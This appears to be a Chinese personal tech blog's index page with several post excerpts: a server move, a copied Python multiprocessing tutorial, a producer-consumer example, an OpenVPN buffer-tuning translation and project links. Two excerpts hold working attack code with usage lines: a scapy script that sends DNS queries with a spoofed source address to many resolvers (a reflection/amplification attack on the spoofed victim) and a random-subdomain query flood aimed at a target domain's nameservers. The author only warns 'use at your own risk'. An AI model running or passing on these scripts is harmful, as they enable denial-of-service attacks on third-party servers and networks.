原来的机器到期了,换一台。
Vultr Seattle。
希望能对大陆友好,速度快点。
In case someone would raise this question:
是的,ffmpeg等已经可以很好的处理多进程。
是的,MPP是处理AVS的很好工具。
但是,对于轻度滤镜,AVS的性能问题会比较突出。
所以我尝试用这个简单的Producer-Consumer模型解决。
https://github.com/cnbeining/parallel-transcode
代码下面,晚上写的,比较脏,别吐槽。 Continue reading
https://github.com/cnbeining/DNSTester
请小心使用哦。
如果使用不当 或造成DNS递归攻击和DNS放大攻击哦。
代码下面:
#!/usr/bin/env python #coding:utf-8 # Author: Beining --<> # Purpose: A most easy but powerful DNS tester # Created: 01/15/2015 import os import sys import unittest import socket import random from multiprocessing.dummy import Pool as ThreadPool from scapy import * from scapy.all import * import csv global DNS_IP_LIST DNS_IP_LIST = [] global FAKE_IP FAKE_IP = '' #---------------------------------------------------------------------- def dns_amp(qname_address): """""" dns_ip = random.choice(DNS_IP_LIST) a = IP(dst=dns_ip,src=FAKE_IP) b = UDP(dport=53) c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0) c.qd=DNSQR(qname=qname_address,qtype=1,qclass=1) p = a/b/c send(p) #---------------------------------------------------------------------- def main(address, time, length, thread_num, fake_ip): """""" domain_list = [''.join(map(lambda xx:(hex(ord(xx))[2:]),os.urandom(int(length)))) + '.' + str(address) for i in range(int(time))] pool = ThreadPool(int(thread_num)) results = pool.map(dns_amp, domain_list) #close the pool and wait for the work to finish pool.close() pool.join() #---------------------------------------------------------------------- def read_dns_ip(filename = './nameservers.csv'): """""" dns_ip_list = [] with open(filename, 'rb') as f: reader = csv.reader(f) for row in reader: if reader.line_num == 1: continue dns_ip_list.append(row[0]) return dns_ip_list #---------------------------------------------------------------------- if __name__=='__main__': address = str(sys.argv[1]) time = int(sys.argv[2]) thread_num = int(sys.argv[3]) try: FAKE_IP = str((sys.argv[4])) except: FAKE_IP = socket.getaddrinfo("www." + address, 80, 0, 0, socket.SOL_TCP)[0][4][0] try: dns_filename = str((sys.argv[5])) except: dns_filename = './nameservers.csv' try: length = int(sys.argv[6]) except: length = random.randint(6, 32) print('Reading DNS IP list...') DNS_IP_LIST = read_dns_ip(dns_filename) print('Start!') main(address, time, length, thread_num, FAKE_IP) print('Done!')
这个不是DNS放大攻击,而是攻击DNS根服务器。
风险自担。
使用:
python dnsattack.py moejn.com 5 5 (10)
python dnsattack.py 根域名 查询(攻击)次数 线程数 (生成长度,可不填)
#!/usr/bin/env python #coding:utf-8 # Author: Beining --<> # Purpose: A most easy DNS attacker # Created: 01/15/2015 import os import sys import unittest import socket from random import randint from multiprocessing.dummy import Pool as ThreadPool #---------------------------------------------------------------------- def resolve_ip(address): """""" try: socket.getaddrinfo(address, 80, 0, 0, socket.SOL_TCP) except: pass #---------------------------------------------------------------------- def main(address, time, length, thread_num): """""" domain_list = [''.join(map(lambda xx:(hex(ord(xx))[2:]),os.urandom(int(length)))) + '.' + str(address) for i in range(int(time))] pool = ThreadPool(int(thread_num)) results = pool.map(resolve_ip, domain_list) #close the pool and wait for the work to finish pool.close() pool.join() #---------------------------------------------------------------------- if __name__=='__main__': address = str(sys.argv[1]) time = int(sys.argv[2]) thread_num = int(sys.argv[3]) try: length = int(sys.argv[4]) except: length = randint(6, 32) print('Start!') main(address, time, length, thread_num) print('Done!')
http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/0013868323401155ceb3db1e2044f80b974b469eb06cb43000
多进程
Unix/Linux操作系统提供了一个
fork()
系统调用,它非常特殊。普通的函数调用,调用一次,返回一次,但是fork()
调用一次,返回两次,因为操作系统自动把当前进程(称为父进程)复制了一份(称为子进程),然后,分别在父进程和子进程内返回。子进程永远返回
0
,而父进程返回子进程的ID。这样做的理由是,一个父进程可以fork出很多子进程,所以,父进程要记下每个子进程的ID,而子进程只需要调用getppid()
就可以拿到父进程的ID。Python的
os
模块封装了常见的系统调用,其中就包括fork
,可以在Python程序中轻松创建子进程:# multiprocessing.py
import os
print 'Process (%s) start...' % os.getpid()
pid = os.fork()
if pid==0:
print 'I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid())
else:
print 'I (%s) just created a child process (%s).' % (os.getpid(), pid)
运行结果如下:
Process (876) start...
I (876) just created a child process (877).
I am child process (877) and my parent is 876.
由于Windows没有fork
调用,上面的代码在Windows上无法运行。由于Mac系统是基于BSD(Unix的一种)内核,所以,在Mac下运行是没有问题的,推荐大家用Mac学Python!
有了fork
调用,一个进程在接到新任务时就可以复制出一个子进程来处理新任务,常见的Apache服务器就是由父进程监听端口,每当有新的http请求时,就fork出子进程来处理新的http请求。
multiprocessing
如果你打算编写多进程的服务程序,Unix/Linux无疑是正确的选择。由于Windows没有fork
调用,难道在Windows上无法用Python编写多进程的程序?
由于Python是跨平台的,自然也应该提供一个跨平台的多进程支持。multiprocessing
模块就是跨平台版本的多进程模块。
multiprocessing
模块提供了一个Process
类来代表一个进程对象,下面的例子演示了启动一个子进程并等待其结束:
from multiprocessing import Process
import os
# 子进程要执行的代码
def run_proc(name):
print 'Run child process %s (%s)...' % (name, os.getpid())
if __name__=='__main__':
print 'Parent process %s.' % os.getpid()
p = Process(target=run_proc, args=('test',))
print 'Process will start.'
p.start()
p.join()
print 'Process end.'
执行结果如下:
Parent process 928.
Process will start.
Run child process test (929)...
Process end.
创建子进程时,只需要传入一个执行函数和函数的参数,创建一个Process
实例,用start()
方法启动,这样创建进程比fork()
还要简单。
join()
方法可以等待子进程结束后再继续往下运行,通常用于进程间的同步。
Pool
如果要启动大量的子进程,可以用进程池的方式批量创建子进程:
from multiprocessing import Pool
import os, time, random
def long_time_task(name):
print 'Run task %s (%s)...' % (name, os.getpid())
start = time.time()
time.sleep(random.random() * 3)
end = time.time()
print 'Task %s runs %0.2f seconds.' % (name, (end - start))
if __name__=='__main__':
print 'Parent process %s.' % os.getpid()
p = Pool()
for i in range(5):
p.apply_async(long_time_task, args=(i,))
print 'Waiting for all subprocesses done...'
p.close()
p.join()
print 'All subprocesses done.'
执行结果如下:
Parent process 669.
Waiting for all subprocesses done...
Run task 0 (671)...
Run task 1 (672)...
Run task 2 (673)...
Run task 3 (674)...
Task 2 runs 0.14 seconds.
Run task 4 (673)...
Task 1 runs 0.27 seconds.
Task 3 runs 0.86 seconds.
Task 0 runs 1.41 seconds.
Task 4 runs 1.91 seconds.
All subprocesses done.
代码解读:
对Pool
对象调用join()
方法会等待所有子进程执行完毕,调用join()
之前必须先调用close()
,调用close()
之后就不能继续添加新的Process
了。
请注意输出的结果,task 0
,1
,2
,3
是立刻执行的,而task 4
要等待前面某个task完成后才执行,这是因为Pool
的默认大小在我的电脑上是4,因此,最多同时执行4个进程。这是Pool
有意设计的限制,并不是操作系统的限制。如果改成:
p = Pool(5)
就可以同时跑5个进程。
由于Pool
的默认大小是CPU的核数,如果你不幸拥有8核CPU,你要提交至少9个子进程才能看到上面的等待效果。
进程间通信
Process
之间肯定是需要通信的,操作系统提供了很多机制来实现进程间的通信。Python的multiprocessing
模块包装了底层的机制,提供了Queue
、Pipes
等多种方式来交换数据。
我们以Queue
为例,在父进程中创建两个子进程,一个往Queue
里写数据,一个从Queue
里读数据:
from multiprocessing import Process, Queue
import os, time, random
# 写数据进程执行的代码:
def write(q):
for value in ['A', 'B', 'C']:
print 'Put %s to queue...' % value
q.put(value)
time.sleep(random.random())
# 读数据进程执行的代码:
def read(q):
while True:
value = q.get(True)
print 'Get %s from queue.' % value
if __name__=='__main__':
# 父进程创建Queue,并传给各个子进程:
q = Queue()
pw = Process(target=write, args=(q,))
pr = Process(target=read, args=(q,))
# 启动子进程pw,写入:
pw.start()
# 启动子进程pr,读取:
pr.start()
# 等待pw结束:
pw.join()
# pr进程里是死循环,无法等待其结束,只能强行终止:
pr.terminate()
运行结果如下:
Put A to queue...
Get A from queue.
Put B to queue...
Get B from queue.
Put C to queue...
Get C from queue.
在Unix/Linux下,multiprocessing
模块封装了fork()
调用,使我们不需要关注fork()
的细节。由于Windows没有fork
调用,因此,multiprocessing
需要“模拟”出fork
的效果,父进程所有Python对象都必须通过pickle序列化再传到子进程去,所有,如果multiprocessing
在Windows下调用失败了,要先考虑是不是pickle失败了。
小结
在Unix/Linux下,可以使用fork()
调用实现多进程。
要实现跨平台的多进程,可以使用multiprocessing
模块。
进程间通信是通过Queue
、Pipes
等实现的。
一个Python生产者-消费者示例代码:
#coding=utf-8 ''' Created on 2013年11月13日 生产者与消费者python版 @author: dear_shen ''' import threading import Queue import time condition = threading.Condition() #设置条件变量 class Producter(threading.Thread): def __init__(self,puc_pool,i): threading.Thread.__init__(self) self.puc_pool = puc_pool self.setName("生产者"+str(i)) def run(self): while True: if condition.acquire(): if self.puc_pool.qsize() < 10: print "%s 开始生产产品 %s" % (self.name,self.puc_pool.qsize()+1) self.puc_pool.put(self.name+"-"+str(self.puc_pool.qsize()+1)) condition.notify() #唤醒阻塞的线程 else: print "产品数量多于10个,停止生产,生产者休息!" condition.wait() #阻塞自己 condition.release() time.sleep(1) class Consumer(threading.Thread): def __init__(self,puc_pool,i): threading.Thread.__init__(self) self.puc_pool = puc_pool self.setName("消费者"+str(i)) def run(self): while True: if condition.acquire(): if self.puc_pool.qsize()>0: tem = self.puc_pool.get() print "%s 使用了产品 %s,还剩%s个" % (self.name,tem,self.puc_pool.qsize()) self.puc_pool.task_done() #产品队列中减少一个 condition.notify() else: print "没有产品了,消费者休息!" condition.wait() condition.release() time.sleep(2) if __name__ == "__main__": print "main begin" puc = Queue.Queue() for i in range(2): p = Producter(puc,i) p.setDaemon(True) p.start() time.sleep(5) for i in range(5): c = Consumer(puc,i) c.setDaemon(True) c.start() puc.join()#当产品队列为空时候再打印main over,如果注释掉了上面的setDaemon,虽然打印了main over,但是子线程并没有结束。 print "main over"
唯一的问题是不能选服务器。
加入代理功能,以及大量错误处理。程序长度多了2倍。
自取Github。
翻译自:http://lowendtalk.com/discussion/40099/why-openvpn-is-so-slow-cool-story#latest
作者:ValdikSS
转载请注明原出处,本出处,以及翻译:cnbeining
我经常看见小白在网上问,为什么用OpenVPN连接两个网站的速度比链接速度慢的多,例如,2Mb/s的链接只有400Kb/s的速度,或者百兆只有20Mb/s的速度。有些人推荐将MTU调大到48000,有些人说应该调整mssfix,但是都不管用。有些人说OpenVPN就这样,老娘就这个速度。扯淡!
一点老黄历
2004年7月。当时发达国家一般家庭网速为256-1024kb/s,在发展中国家网速为56kb/s。Linux2.6.7刚刚发布,带有默认启动TCP窗口大小调节的2.6.8版本一个月前刚发布。OpenVPN已经活跃地开发了3年,即将发布2.0版本。
一名开发者想加入socket缓冲区的代码,估计是想统一各个系统的缓冲区大小。在Windows下,如果人工设置缓冲区大小,网络适配器的MTU会出错,最终是这个结果:
#ifndef WIN32 o->rcvbuf = 65536; o->sndbuf = 65536; #endif
技术层面
如果你用过OpenVPN,你肯定知道OpenVPN支持TCP和UDP。如果你手工设置TCP连接缓冲区大小到64 KB这么小,TCP 窗口大小调整算法不能将窗口大小调节到64K以上。什么意思?假如你的连接水管大但是延迟高,例如从美国到毛子,ping差不多100ms,用默认的OpenVPN设置,你的速度肯定不能高于5.12Mb/s。要50Mb/s的速度,缓冲区至少要640 KB。UDP因为没有窗口大小所以快点,但是也快不到哪去。
怎么破?
你已经猜到了,现在的OpenVPN还在用64 KB的默认缓冲区大小。怎么修?最好的办法是禁止OpenVPN设置自定义缓冲区大小。在服务器和客户端的配置文件加入:
sndbuf 0 rcvbuf 0
这样缓冲区大小就由操作系统控制了。对于Linux,这个固定值对于TCP是net.ipv4.tcp_rmem 和net.ipv4.tcp_wmem, UDP是net.core.rmem_default 和 net.core.wmem_default 两个值除2.
如果客户端配置文件不能修改,那么你需要从服务器推送更大的缓存大小:
sndbuf 0 rcvbuf 0 push "sndbuf 393216" push "rcvbuf 393216”
UDP和TCP不同,没有窗口大小这一说,虽然不是整个系统都需要。但是缓冲区过小也有可能降低速度。如果你把缓冲区调成0后还是慢,你应该要么在系统层面增加缓冲区大小(net.core.rmem_default 和 net.core.wmem_default),或者在服务器推送更大的缓冲区配置:
sndbuf 393216 rcvbuf 393216 push "sndbuf 393216" push "rcvbuf 393216”
但是我用Windows!
如果服务器和客户端都是Windows,应该没有这个bug。
附:原文
服务器不知道为什么自己就关机了。
这机器性能的确很差,4 core也不如vultr的1 core。。。。未来还是双vultr之类吧。
danmaku2ass上游更新,这里也更新。
代码下面。
https://github.com/cnbeining/Biligrab
Continue reading
部署速度快,效果不错。
需要结合手动,但是这个是不可避免的,也就这样了。验证码毕竟不可能自动完成。
https://github.com/cnbeining/lixian.xunlei-Openshift
需要自取。